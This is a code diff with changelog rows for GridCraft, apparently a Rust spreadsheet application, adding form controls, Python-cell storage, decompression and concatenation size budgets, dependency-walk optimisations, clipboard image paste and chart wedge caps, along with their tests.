| 2026-11-02 | Form controls: Insert › Controls places buttons, sliders (scroll bars) and spin buttons on the sheet. A slider or spin button holds a whole number from 0 to 30000 in a linked cell (a drag or a held arrow is one undo step, and editing the cell moves the control); a button runs a macro or one command through the macro policy, asking first in a workbook opened from a file; Assign Action and Format Control edit them, and XLSX files read and write them (control properties, `<controls>` and VML), alongside the form controls GridCraft keeps unchanged |
| 2026-11-02 | Dialogs take ranges by selection on the grid: reference boxes (RefEdit) with a collapse button that shrinks the dialog while the person selects, in Goal Seek, Solver (including the Model Range of Load/Save) and Data Analysis; while collapsed, the arrow keys move the selection and Shift+arrow extends it, and F4 cycles a reference's anchors |
| 2026-11-02 | Python mode in the formula bar: Ctrl+Alt+Shift+P, `=PY` then Tab, or editing a Python cell edits its code in the formula bar, with Enter for a new line, Tab to indent and Ctrl+Enter to commit through `python.set`. The code still doesn't run |
| 2026-11-02 | Python cells as data: `python.set` stores code in a cell, Python cells copy, move, fill and undo like formulas, and `.xlsx` reads and writes Python cells as [MS-XLSX] specifies (`_xlfn._xlws.PY(index,0 or 1)`, the code in the workbook's Python part) with cached values and spills, so such workbooks open with their results; nothing runs Python (new code shows `#BLOCKED!`), and opening a file limits code size, result size and spill ranges |
@@ -257,6 +258,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in
| Date | Change | Summary |
|---|---|---|
| 2026-11-02 | minor | Form controls; catalog 277 / 292 → 281 / 296 (Developer › Controls); progress log row |
| 2026-11-02 | minor | Progress log: RefEdit reference boxes in dialogs |
| 2026-11-02 | minor | Progress log: Python mode in the formula bar |
| 2026-11-02 | minor | Progress log: Python cells as data |
+75 -3
View File
@@ -6,6 +6,10 @@ const MAX_XML_PART: u64 = 64 * 1024 * 1024;
/// Most zip entries looked at while validating a written package.
const MAX_ENTRIES: usize = 200_000;
/// Decompressed bytes that comparing one package's relationship kinds may read in total: the
/// relationship parts themselves and the targets whose content is checked.
const RELATIONSHIP_BUDGET: u64 = 512 * 1024 * 1024;
/// Relationship kinds (lower case) whose absence after a save isn't a loss: the calculation chain is
/// a cache Excel rebuilds, and GridCraft never writes it.
pub(super) const REBUILT_KINDS: [&str; 1] = ["calcchain"];
@@ -117,6 +121,30 @@ fn read_zip_part(zip: &mut Zip<'_>, name: &str) -> Result<Vec<u8>, String> {
Ok(buf)
}
enum PartError {
/// Reading the part would spend more than the remaining budget.
OverBudget,
Unreadable,
}
/// Reads a part like [`read_zip_part`], charging the decompressed bytes to `budget`.
fn read_zip_part_within(zip: &mut Zip<'_>, name: &str, budget: &mut u64) -> Result<Vec<u8>, PartError> {
let f = zip.by_name(name).map_err(|_| PartError::Unreadable)?;
// One byte past what is left shows that the part doesn't fit.
let limit = MAX_XML_PART.min(budget.saturating_add(1));
let mut buf = Vec::new();
// Bytes read before a decompression error still count against the budget.
let res = f.take(limit).read_to_end(&mut buf);
let read = buf.len() as u64;
if read > *budget {
*budget = 0;
return Err(PartError::OverBudget);
}
*budget -= read;
res.map_err(|_| PartError::Unreadable)?;
Ok(buf)
}
/// Whether the producer flagged its cached results as stale with `<calcPr fullCalcOnLoad="1">`:
/// libraries that don't calculate write it, and store 0 or nothing as every formula's value.
pub(super) fn full_calc_on_load(bytes: &[u8]) -> bool {
@@ -232,19 +260,30 @@ pub fn validate_package(bytes: &[u8]) -> Result<Vec<String>, String> {
/// nothing are left out, as a save may rightly drop them: a link to a place in the workbook
/// (`#Sheet1!A1`, written as a cell's `location`) and a target part with nothing in it.
pub(super) fn relationship_kinds(bytes: &[u8]) -> Result<BTreeMap<String, String>, String> {
relationship_kinds_within(bytes, RELATIONSHIP_BUDGET)
}
/// [`relationship_kinds`] reading at most `budget` decompressed bytes. `Err` once the relationship
/// parts alone need more: their kinds can't be listed completely.
fn relationship_kinds_within(bytes: &[u8], mut budget: u64) -> Result<BTreeMap<String, String>, String> {
let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).map_err(|e| format!("not a zip package: {e}"))?;
let names = zip_names(&mut zip);
let by_key: HashMap<String, &String> = names.iter().map(|n| (part_key(n), n)).collect();
// Several relationships name the same part; each fresh check decompressed it again, so
// repeated references to one highly compressible part multiplied the work. The verdict is
// remembered per (part, named content) and the decompression the package can cause is
// budgeted as a whole (finding: repeated decompression).
// budgeted as a whole, the relationship parts included: many large, unreferenced rels parts
// would otherwise each spend a full per-part allowance.
let mut verdicts: HashMap<(String, &'static str), bool> = HashMap::new();
let mut budget: u64 = 512 * 1024 * 1024;
let mut kinds = BTreeMap::new();
for n in names.iter().filter(|n| part_key(n).ends_with(".rels")) {
let Some(src_dir) = rels_source_dir(&part_key(n)) else { continue };
let Ok(els) = read_zip_part(&mut zip, n).and_then(|xml| xml_elements(&xml)) else { continue };
let xml = match read_zip_part_within(&mut zip, n, &mut budget) {
Ok(xml) => xml,
Err(PartError::OverBudget) => return Err(format!("{n}: relationship check stopped at its decompression limit")),
Err(PartError::Unreadable) => continue,
};
let Ok(els) = xml_elements(&xml) else { continue };
for (_, attrs) in els.iter().filter(|(el, _)| el == "Relationship") {
let Some(kind) = attr(attrs, "Type").and_then(|t| t.rsplit('/').next()) else { continue };
let target = attr(attrs, "Target").unwrap_or("");
@@ -329,3 +368,36 @@ fn holds_something_uncached(zip: &mut Zip<'_>, name: &str, marker: &'static str,
buf.clear();
}
}
#[cfg(test)]
mod tests {
use std::io::Write as _;
use super::*;
/// A package with `count` relationship parts of `size` bytes each, none of them describing an
/// existing part.
fn many_rels(count: usize, size: usize) -> Vec<u8> {
let mut z = zip::ZipWriter::new(Cursor::new(Vec::new()));
let opts = zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated);
let head = r#"<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/custom" Target="https://example.com" TargetMode="External"/>"#;
let tail = "</Relationships>";
let filler = " ".repeat(size.saturating_sub(head.len() + tail.len()));
for i in 0..count {
z.start_file(format!("xl/_rels/part{i}.xml.rels"), opts).unwrap();
z.write_all(head.as_bytes()).unwrap();
z.write_all(filler.as_bytes()).unwrap();
z.write_all(tail.as_bytes()).unwrap();
}
z.finish().unwrap().into_inner()
}
#[test]
fn relationship_parts_count_against_the_decompression_budget() {
// Each part fits the per-part allowance, but together they need more than the budget.
let bytes = many_rels(8, 64 * 1024);
assert!(relationship_kinds_within(&bytes, 256 * 1024).is_err());
let kinds = relationship_kinds_within(&bytes, 1024 * 1024).unwrap();
assert_eq!(kinds.get("custom").map(String::as_str), Some("custom"));
}
}
+1 -1
View File
@@ -193,7 +193,7 @@ fn services(inbox: Inbox, ctx: egui::Context) -> Services {
let ctx = ctx.clone();
wasm_bindgen_futures::spawn_local(async move {
let Some(file) = rfd::AsyncFileDialog::new()
.add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"])
.add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"])
.pick_file()
.await
else {
+2 -2
View File
@@ -37,13 +37,13 @@ winit = { version = "0.30", default-features = false, features = ["x11", "waylan
craft-print = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7" }
craft-update = { workspace = true }
rfd = { workspace = true }
arboard = { workspace = true }
arboard = { workspace = true, features = ["image-data"] }
gridcraft-mcp = { workspace = true }
# The control channel's token (OS random numbers); already in the tree.
getrandom = "0.4"
[target.'cfg(any(target_os = "linux", target_os = "freebsd"))'.dependencies]
arboard = { workspace = true, features = ["wayland-data-control"] }
arboard = { workspace = true, features = ["image-data", "wayland-data-control"] }
[target.'cfg(target_os = "windows")'.dependencies]
# Blocks on the start-up DirectX 12 adapter probe (`graphics.rs`); already in the tree via eframe.
+6 -2
View File
@@ -154,7 +154,7 @@ fn read_clipboard<T>(
fn services() -> Services {
// Keep the owner alive: X11/Wayland serve clipboard data from this handle.
let clipboard: Rc<RefCell<Option<arboard::Clipboard>>> = Rc::default();
let (html_clipboard, text_clipboard) = (clipboard.clone(), clipboard.clone());
let (html_clipboard, text_clipboard, image_clipboard) = (clipboard.clone(), clipboard.clone(), clipboard.clone());
Services {
copy_html: Some(Box::new(move |html, text| {
let mut clipboard = clipboard.borrow_mut();
@@ -165,9 +165,13 @@ fn services() -> Services {
})),
paste_html: Some(Box::new(move || read_clipboard(&html_clipboard, |clipboard| clipboard.get().html()))),
paste_text: Some(Box::new(move || read_clipboard(&text_clipboard, |clipboard| clipboard.get_text()))),
paste_image: Some(Box::new(move || {
let image = read_clipboard(&image_clipboard, |clipboard| clipboard.get_image())?;
image::RgbaImage::from_raw(u32::try_from(image.width).ok()?, u32::try_from(image.height).ok()?, image.bytes.into_owned())
})),
pick_open: Some(Box::new(|| {
rfd::FileDialog::new()
.add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"])
.add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"])
.add_filter("Excel Workbook", &["xlsx", "xlsm"])
.add_filter("Excel 97-2003 Workbook (import)", &["xls"])
.add_filter("Excel Binary Workbook (data import)", &["xlsb"])
+9 -3
View File
@@ -325,6 +325,11 @@ impl<'h> Evaluator<'h> {
Expr::Array(rows) => {
let h = rows.len();
let w = rows.first().map_or(0, Vec::len);
// A ragged literal is an error either way; one wide row and many empty ones must
// not reserve their rows-times-width product first.
if rows.iter().any(|row| row.len() != w) {
return err(CellError::Value);
}
let mut data = Vec::with_capacity(h * w);
for row in rows {
for el in row {
@@ -359,9 +364,10 @@ impl<'h> Evaluator<'h> {
return v.clone();
}
let wb = self.host.workbook();
// Sheet-qualified `Sheet1!Name`.
let (scope_sheet, bare) = match n.split_once('!') {
Some((s, b)) => match wb.sheet_index(&gridcraft_core::unquote_sheet(s)) {
// Sheet-qualified `Sheet1!Name`. The parser stores the sheet unquoted, so it is used as
// is (`' Sales '` keeps its spaces) and split at the last `!` (`'a!b'!Name`).
let (scope_sheet, bare) = match n.rsplit_once('!') {
Some((s, b)) => match wb.sheet_index(s) {
Some(i) => (i, b),
None => return err(CellError::Name),
},
+79 -1
View File
@@ -86,6 +86,30 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value
}
}
/// [`zip2`] that stops at the first cell `f` refuses (`None`), before the rest is built: the
/// result grows as cells are made rather than being reserved for the whole broadcast up front.
fn try_zip2(a: &Value, b: &Value, mut f: impl FnMut(&Value, &Value) -> Option<Value>) -> Option<Value> {
Some(match (a, b) {
(Value::Array(x), Value::Array(y)) => {
let rows = broadcast_dim(x.rows, y.rows);
let cols = broadcast_dim(x.cols, y.cols);
if broadcast_len(rows, cols).is_none() {
return Some(Value::Error(CellError::Num));
}
let mut data = Vec::new();
for r in 0..rows {
for c in 0..cols {
data.push(f(&x.get_broadcast(r, c), &y.get_broadcast(r, c))?);
}
}
Value::from(Array { rows, cols, data })
}
(Value::Array(x), s) => Value::from(Array { rows: x.rows, cols: x.cols, data: x.data.iter().map(|v| f(v, s)).collect::<Option<_>>()? }),
(s, Value::Array(y)) => Value::from(Array { rows: y.rows, cols: y.cols, data: y.data.iter().map(|v| f(s, v)).collect::<Option<_>>()? }),
(x, y) => f(x, y)?,
})
}
/// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`].
/// Each operand passes its own size cap, but their broadcast product can be far larger
/// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating.
@@ -135,10 +159,36 @@ pub(super) fn single(v: Value) -> Option<Value> {
}
}
/// Text bytes that one `&` over arrays may produce in all. Each piece is capped on its own, but a
/// compact formula can broadcast a long text across millions of cells
/// (`SEQUENCE(4000,4000)&REPT("x",30000)` is 480 GB): past this the whole result is `#NUM!`, the
/// error for a result too large to hold, before the rest is built.
pub(super) const MAX_CONCAT_ARRAY_BYTES: usize = 512 * 1024 * 1024;
pub fn binary_values(op: BinOp, x: &Value, y: &Value, sys: gridcraft_core::DateSystem) -> Value {
if op == BinOp::Concat && (matches!(x, Value::Array(_)) || matches!(y, Value::Array(_))) {
return concat_arrays(x, y, sys, MAX_CONCAT_ARRAY_BYTES);
}
zip2(x, y, |a, b| binary_scalar(op, a, b, sys))
}
/// `x & y` with at least one array operand, giving `#NUM!` once the texts built so far pass `budget`
/// bytes.
fn concat_arrays(x: &Value, y: &Value, sys: gridcraft_core::DateSystem, budget: usize) -> Value {
let mut used = 0usize;
try_zip2(x, y, |a, b| {
let v = binary_scalar(BinOp::Concat, a, b, sys);
if let Value::Text(t) = &v {
used = used.saturating_add(t.len());
if used > budget {
return None;
}
}
Some(v)
})
.unwrap_or(Value::Error(CellError::Num))
}
fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSystem) -> Value {
if let Value::Error(e) = a {
return Value::Error(*e);
@@ -187,7 +237,35 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste
#[cfg(test)]
mod tests {
use super::{MAX_CELLS, broadcast_len};
use super::{Array, BinOp, CellError, MAX_CELLS, Value, broadcast_len, concat_arrays, try_zip2};
/// The broadcast stops at the first refused cell: nothing after it is visited.
#[test]
fn a_refused_cell_stops_the_broadcast() {
let col = Value::from(Array::column((0..4_000).map(|i| Value::number(i as f64)).collect()));
let row = Value::from(Array { rows: 1, cols: 4_000, data: (0..4_000).map(|i| Value::number(i as f64)).collect() });
let mut calls = 0;
let r = try_zip2(&col, &row, |a, _| {
calls += 1;
(calls <= 10).then(|| a.clone())
});
assert_eq!((r, calls), (None, 11));
}
#[test]
fn concatenating_arrays_stops_at_the_byte_budget() {
let sys = gridcraft_core::DateSystem::default();
let col = Value::from(Array::column((0..100).map(|i| Value::number(i as f64)).collect()));
let long = Value::text("x".repeat(100));
// 100 cells of 101 or 102 bytes each: about 10 KB in all.
let r = concat_arrays(&col, &long, sys, 20_000);
assert!(matches!(&r, Value::Array(a) if a.data.len() == 100), "{r:?}");
assert_eq!(concat_arrays(&col, &long, sys, 5_000), Value::Error(CellError::Num));
assert_eq!(concat_arrays(&long, &col, sys, 5_000), Value::Error(CellError::Num));
// Through the operator, a small result is unaffected.
let r = super::binary_values(BinOp::Concat, &col, &Value::text("a"), sys);
assert!(matches!(&r, Value::Array(a) if a.data.first() == Some(&Value::text("0a"))), "{r:?}");
}
#[test]
fn broadcast_len_caps_at_max_cells() {
+178 -14
View File
@@ -24,7 +24,7 @@ mod pass_host;
#[cfg(test)]
use graph::Intervals;
pub use graph::{FxHasher, Graph, Key};
use graph::{HashMap, HashSet, Node};
use graph::{HashMap, HashSet, Node, Taken};
use pass_host::{PassHost, spills_as_before};
/// Calculation state kept beside a workbook.
@@ -292,17 +292,16 @@ impl Calc {
}
}
}
// Spill areas of changed anchors also change.
// Spill areas of changed anchors also change. They stay rectangles: one seed per spilled
// cell listed the formulas reading the area once per cell.
let mut areas: Vec<(usize, RangeRef)> = cleared;
for &k in changed {
if let Some(r) = wb.sheet(k.0).and_then(|s| s.spill_ranges.get(&k.1)) {
seeds.extend(r.iter().map(|c| (k.0, c)));
areas.push((k.0, *r));
}
}
for (si, r) in &cleared {
seeds.extend(r.iter().map(|c| (*si, c)));
}
let t0 = prof_now();
let dirty = self.dirty_closure(wb, &seeds);
let dirty = self.dirty_closure(wb, &seeds, &areas);
let t1 = prof_now();
let n = dirty.len();
self.run(wb, dirty, false);
@@ -311,16 +310,39 @@ impl Calc {
}
}
fn dirty_closure(&self, _wb: &Workbook, seeds: &[Key]) -> Vec<Key> {
/// The formulas to recalculate after `seeds` and every cell of `areas` changed: the seeds
/// that are formulas, and everything that reads them, directly or through other formulas.
fn dirty_closure(&self, wb: &Workbook, seeds: &[Key], areas: &[(usize, RangeRef)]) -> Vec<Key> {
let mut seen: HashSet<Key> = HashSet::default();
let mut queue: VecDeque<Key> = VecDeque::new();
// Each range-index entry is listed once in the whole walk: many changed cells under one
// broad reference (or many formulas inside one) would otherwise list every formula reading
// it once per cell, which squared the work.
let mut taken = Taken::default();
let mut deps = Vec::new();
for k in seeds {
if self.graph.nodes.contains_key(k) && seen.insert(*k) {
queue.push_back(*k);
}
let mut deps = Vec::new();
self.graph.dependents(k.0, k.1, &mut deps);
for d in deps {
deps.clear();
self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps);
for d in deps.drain(..) {
if seen.insert(d) {
queue.push_back(d);
}
}
}
for &(si, r) in areas {
if let Some(sh) = wb.sheet(si) {
for (c, _) in sh.cells.iter_range(r) {
if self.graph.nodes.contains_key(&(si, c)) && seen.insert((si, c)) {
queue.push_back((si, c));
}
}
}
deps.clear();
self.graph.dependents_of_range(si, r, &mut deps);
for d in deps.drain(..) {
if seen.insert(d) {
queue.push_back(d);
}
@@ -331,10 +353,9 @@ impl Calc {
queue.push_back(*k);
}
}
let mut deps = Vec::new();
while let Some(k) = queue.pop_front() {
deps.clear();
self.graph.dependents(k.0, k.1, &mut deps);
self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps);
for d in deps.drain(..) {
if seen.insert(d) {
queue.push_back(d);
@@ -411,7 +432,7 @@ impl Calc {
if spill_changes.is_empty() {
break;
}
dirty = self.dirty_closure(wb, &spill_changes);
dirty = self.dirty_closure(wb, &spill_changes, &[]);
}
// Loops among formulas the run did not evaluate stay listed while they are still formulas.
// Iterative calculation reports none.
@@ -691,6 +712,149 @@ pub(crate) mod tests {
assert!(visited < 64, "visited {visited} nodes for no match");
}
#[test]
fn untaken_queries_list_each_interval_once_in_all() {
// 1,000 ranges over every row of 5,000: point queries at every row used to list all 1,000
// each time (5 million matches); sharing `taken`, each range is listed once in all.
let n = 5_000u32;
let mut iv: Intervals<u32> = Intervals::default();
for t in 0..1_000 {
iv.insert(0, n, t);
}
for r in 0..n {
iv.insert(r, r, 10_000 + r);
}
iv.settle();
let mut taken = Vec::new();
let mut listed = Vec::new();
for row in 0..=n + 3 {
iv.query_untaken(row, row, &mut taken, &mut |t| {
listed.push(*t);
true
});
}
listed.sort_unstable();
let want: Vec<u32> = (0..1_000).chain(10_000..10_000 + n).collect();
assert_eq!(listed, want);
// An entry the caller declines is offered again.
let mut taken = Vec::new();
let mut offered = 0;
for _ in 0..3 {
iv.query_untaken(7, 7, &mut taken, &mut |t| {
if *t == 10_007 {
offered += 1;
}
*t != 10_007
});
}
assert_eq!(offered, 3);
}
#[test]
fn dirty_closure_matches_a_walk_of_every_cell() {
// Random formulas over single cells, narrow ranges and wide (over 64 columns) ranges, some
// removed or left unsettled: the closure equals the one found by listing every dependent
// of every changed cell, area cells included, as before `taken` and areas existed.
use super::{HashSet, Node};
use crate::eval::Area;
use std::collections::VecDeque;
let mut s = 0x2545_F491_4F6C_DD1D;
for case in 0..40 {
let mut wb = Workbook::new();
let mut calc = Calc::new();
let pick = |s: &mut u64, n: u64| (rng(s) % n) as u32;
let mut keys: Vec<Key> = Vec::new();
for _ in 0..300 {
let k = (0, CellRef::new(pick(&mut s, 120), pick(&mut s, 150)));
let mut areas = Vec::new();
for _ in 0..1 + pick(&mut s, 3) {
let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150));
let end = match pick(&mut s, 3) {
0 => start,
1 => CellRef::new(start.row + pick(&mut s, 40), start.col + pick(&mut s, 5)),
_ => CellRef::new(start.row + pick(&mut s, 20), start.col + 65 + pick(&mut s, 30)),
};
areas.push(Area { sheet: 0, range: RangeRef::new(start, end) });
}
if let Some(sh) = wb.sheet_mut(0) {
sh.cells.set(k.1, Cell::formula(Formula::new("=1")));
}
calc.graph.insert(k, Node { areas, dynamic: false });
keys.push(k);
if rng(&mut s).is_multiple_of(7) {
calc.graph.settle();
}
}
for _ in 0..30 {
let k = keys[(rng(&mut s) % keys.len() as u64) as usize];
calc.graph.remove(k);
if let Some(sh) = wb.sheet_mut(0) {
sh.cells.remove(k.1);
}
}
if case % 2 == 0 {
calc.graph.settle();
}
let seeds: Vec<Key> = (0..1 + pick(&mut s, 25)).map(|_| (0, CellRef::new(pick(&mut s, 140), pick(&mut s, 220)))).collect();
let areas: Vec<(usize, RangeRef)> = (0..pick(&mut s, 3))
.map(|_| {
let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150));
(0, RangeRef::new(start, CellRef::new(start.row + pick(&mut s, 30), start.col + pick(&mut s, 80))))
})
.collect();
let got: HashSet<Key> = calc.dirty_closure(&wb, &seeds, &areas).into_iter().collect();
// The walk before: every area cell is a seed, and every cell lists all its dependents.
let mut all = seeds.clone();
for (si, r) in &areas {
all.extend(r.iter().map(|c| (*si, c)));
}
let mut want: HashSet<Key> = HashSet::default();
let mut queue: VecDeque<Key> = VecDeque::new();
let mut deps = Vec::new();
for k in &all {
if calc.graph.nodes.contains_key(k) && want.insert(*k) {
queue.push_back(*k);
}
deps.clear();
calc.graph.dependents(k.0, k.1, &mut deps);
queue.extend(deps.iter().copied().filter(|d| want.insert(*d)));
}
while let Some(k) = queue.pop_front() {
deps.clear();
calc.graph.dependents(k.0, k.1, &mut deps);
queue.extend(deps.iter().copied().filter(|d| want.insert(*d)));
}
assert_eq!(got, want, "case {case}");
}
}
#[test]
fn clearing_a_spill_recalculates_formulas_reading_it_once_each() {
// 300 formulas read the area an anchor spills into; clearing the anchor changes all of it
// and every one of them is recalculated (they were listed once per spilled cell).
let mut wb = Workbook::new();
let mut calc = Calc::new();
let set = |wb: &mut Workbook, calc: &mut Calc, at: CellRef, input: &str| {
if let Some(sh) = wb.sheet_mut(0) {
if input.is_empty() {
sh.cells.remove(at);
} else {
sh.cells.set(at, Cell::formula(Formula::new(input)));
}
}
calc.cells_changed(wb, &[(0, at)]);
};
set(&mut wb, &mut calc, CellRef::new(0, 0), "=SEQUENCE(2000)");
for r in 0..300 {
set(&mut wb, &mut calc, CellRef::new(r, 2), "=COUNT(A1:A2000)");
}
assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(299, 2))), Some(Value::Number(2000.0)));
set(&mut wb, &mut calc, CellRef::new(0, 0), "");
for r in 0..300 {
assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(r, 2))), Some(Value::Number(0.0)), "row {r}");
}
}
/// `rows` rows of six numbers (E:J) and `=SUM(E{r}:J{r})` in K.
fn sum_rows(rows: u32) -> Workbook {
let mut wb = Workbook::new();
+81
View File
@@ -151,6 +151,54 @@ impl<T: Copy + Ord> Intervals<T> {
self.walk(1, 0, self.max_end.len() / 2, p, a, f)
}
/// [`Intervals::query`] that skips entries an earlier call with the same `taken` already
/// took (and whole subtrees of them), so that a series of queries lists each interval once in
/// all. `f` answers whether it took the entry; one it declines is offered again later.
/// `taken` belongs to this index as it is now; start it empty. Pending insertions (a few at
/// most after [`Intervals::settle`]) are offered every time.
pub(super) fn query_untaken(&self, a: u32, b: u32, taken: &mut Vec<bool>, f: &mut dyn FnMut(&T) -> bool) {
for it in &self.pending {
if it.0 <= b && it.1 >= a {
f(&it.2);
}
}
let p = self.items.partition_point(|it| it.0 <= b);
if p == 0 {
return;
}
if taken.len() != self.max_end.len() {
*taken = vec![false; self.max_end.len()];
}
self.walk_untaken(1, 0, self.max_end.len() / 2, p, a, taken, f);
}
/// Returns whether everything under `node` has now been reported (or is dead).
#[allow(clippy::too_many_arguments)]
fn walk_untaken(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, taken: &mut [bool], f: &mut dyn FnMut(&T) -> bool) -> bool {
if taken.get(node).copied().unwrap_or(true) {
return true;
}
if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) {
return false;
}
let done = if hi - lo <= 1 {
match (self.items.get(lo), self.dead.get(lo)) {
(Some(it), Some(false)) if it.1 >= a => f(&it.2),
(Some(_), Some(true)) => true,
_ => false,
}
} else {
let mid = lo + (hi - lo) / 2;
let left = self.walk_untaken(2 * node, lo, mid, p, a, taken, f);
let right = self.walk_untaken(2 * node + 1, mid, hi, p, a, taken, f);
left && right
};
if done && let Some(slot) = taken.get_mut(node) {
*slot = true;
}
done
}
fn walk(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, f: &mut dyn FnMut(&T)) -> usize {
if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) {
return 1;
@@ -168,6 +216,13 @@ impl<T: Copy + Ord> Intervals<T> {
}
}
/// Range-index entries one dependency walk has already listed (see [`Graph::dependents_untaken`]).
#[derive(Default)]
pub(super) struct Taken {
cols: HashMap<(usize, u32), Vec<bool>>,
wide: HashMap<usize, Vec<bool>>,
}
#[derive(Clone, Debug, Default)]
pub struct Graph {
pub(super) nodes: HashMap<Key, Node>,
@@ -302,6 +357,32 @@ impl Graph {
}
}
/// [`Graph::dependents`] leaving out the formulas whose range reads an earlier call with the
/// same `taken` already listed. A walk over many changed cells that a few broad ranges cover
/// then lists those formulas once, instead of once per cell (which squared the work). The
/// graph must not change while `taken` is in use.
pub(super) fn dependents_untaken(&self, sheet: usize, c: CellRef, taken: &mut Taken, out: &mut Vec<Key>) {
if let Some(v) = self.cell_deps.get(&(sheet, c)) {
out.extend(v.iter().copied());
}
if let Some(v) = self.col_deps.get(&(sheet, c.col)) {
v.query_untaken(c.row, c.row, taken.cols.entry((sheet, c.col)).or_default(), &mut |k| {
out.push(*k);
true
});
}
if let Some(v) = self.wide_deps.get(&sheet) {
// A wide entry is taken once it covers the cell's column too.
v.query_untaken(c.row, c.row, taken.wide.entry(sheet).or_default(), &mut |(c0, c1, k)| {
let hit = *c0 <= c.col && c.col <= *c1;
if hit {
out.push(*k);
}
hit
});
}
}
/// Formulas that read any cell of `range` (a formula can be listed more than once).
pub fn dependents_of_range(&self, sheet: usize, range: RangeRef, out: &mut Vec<Key>) {
if range.count() <= 4096 {
+7 -2
View File
@@ -19,7 +19,7 @@ mod trend;
use cartesian::{cartesian, scatter};
use frame::{Bx, axis_titles, chart_title};
use kinds::{box_whisker, funnel, histogram, pie, radar, stock, treemap, waterfall};
use kinds::{box_whisker, doughnut, funnel, histogram, pie, radar, stock, treemap, waterfall};
use legend::draw_legend;
pub use legend::{Swatch, legend_entries};
pub use trend::supports_trendline;
@@ -44,6 +44,11 @@ const MAX_LINE_PTS: usize = 2000;
const MAX_MARKERS: usize = 5000;
/// Data labels are skipped when a series has more points than this.
const MAX_LABELS: usize = 200;
/// Most wedges a doughnut draws for the whole chart. The per-series and per-category limits do not
/// bound their product: 255 series of 20,000 categories would be millions of wedges. Every drawable
/// ring shares this budget, so the innermost ring keeps its largest slices and the outer rings are
/// capped instead of the chart dropping rings wholesale.
pub(crate) const MAX_WEDGES: usize = 2_048;
struct Ctx<'a> {
out: Vec<Prim>,
@@ -153,7 +158,7 @@ fn draw_kind(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
use ChartKind::*;
match chart.kind {
Pie => pie(ctx, chart, data, area, 0.0, false),
Doughnut => pie(ctx, chart, data, area, 0.5, false),
Doughnut => doughnut(ctx, chart, data, area),
Sunburst => pie(ctx, chart, data, area, 0.2, true),
Treemap => treemap(ctx, chart, data, area),
Funnel => funnel(ctx, chart, data, area),
+20 -2
View File
@@ -96,8 +96,11 @@ fn series_spans(data: &ChartData, fams: &[Fam], sec: &[bool], ncat: usize) -> Ve
} else {
None
};
let mut row = Vec::with_capacity(ncat);
for j in 0..ncat {
// A series without values has no spans: 255 empty series over 20,000 categories would
// otherwise fill ~5 million entries.
let n = if s.values.is_empty() { 0 } else { ncat };
let mut row = Vec::with_capacity(n);
for j in 0..n {
let v = s.values.get(j).copied().flatten();
let span = match (si.and_then(|p| stacks.get_mut(p)), fam) {
(Some((_, pos, neg)), Fam::ColStack | Fam::Col100) => v.and_then(|v| {
@@ -450,3 +453,18 @@ pub(super) fn scatter(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
}
draw_trend_labels(ctx, plot, &trend_labels);
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn empty_series_get_no_span_entries() {
let empty = SeriesData::default();
let full = SeriesData { values: vec![Some(1.0); 3], ..SeriesData::default() };
let data = ChartData { series: vec![empty.clone(), full, empty], ..ChartData::default() };
let fams = [Fam::Col; 3];
let spans = series_spans(&data, &fams, &[false; 3], MAX_CATS);
assert_eq!(spans.iter().map(Vec::len).collect::<Vec<_>>(), [0, MAX_CATS, 0]);
}
}
+150 -12
View File
@@ -1,8 +1,8 @@
use super::frame::{Bx, CatAxis, ValAxis, frame, on, value_range};
use super::legend::{cat_label, point_color};
use super::{
AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, Prim, QuartileMethod, STOCK, SeriesData,
TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale,
AXIS, Chart, ChartData, Ctx, DOWN, Fmt, GRID, HAlign, LABEL_SIZE, MAX_CATS, MAX_LABELS, MAX_MARKERS, MAX_SERIES, MAX_WEDGES, Prim,
QuartileMethod, Rgba, STOCK, SeriesData, TAU, TEXT, UP, VAlign, WHITE, clean, nice_scale,
};
// ---------------------------------------------------------------- histogram
@@ -163,6 +163,66 @@ pub(super) fn funnel(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
// ---------------------------------------------------------------- pie, doughnut, sunburst
/// At most `cap` of the largest values, in category order. When a ring has more categories than
/// its share of the wedge budget allows, the big slices survive rather than the first ones.
fn largest_slices(vals: &[f64], cap: usize) -> Vec<(usize, f64)> {
let mut idx: Vec<usize> = (0..vals.len()).collect();
if idx.len() > cap {
// Partition descends by value, so the first `cap` entries are the largest ones.
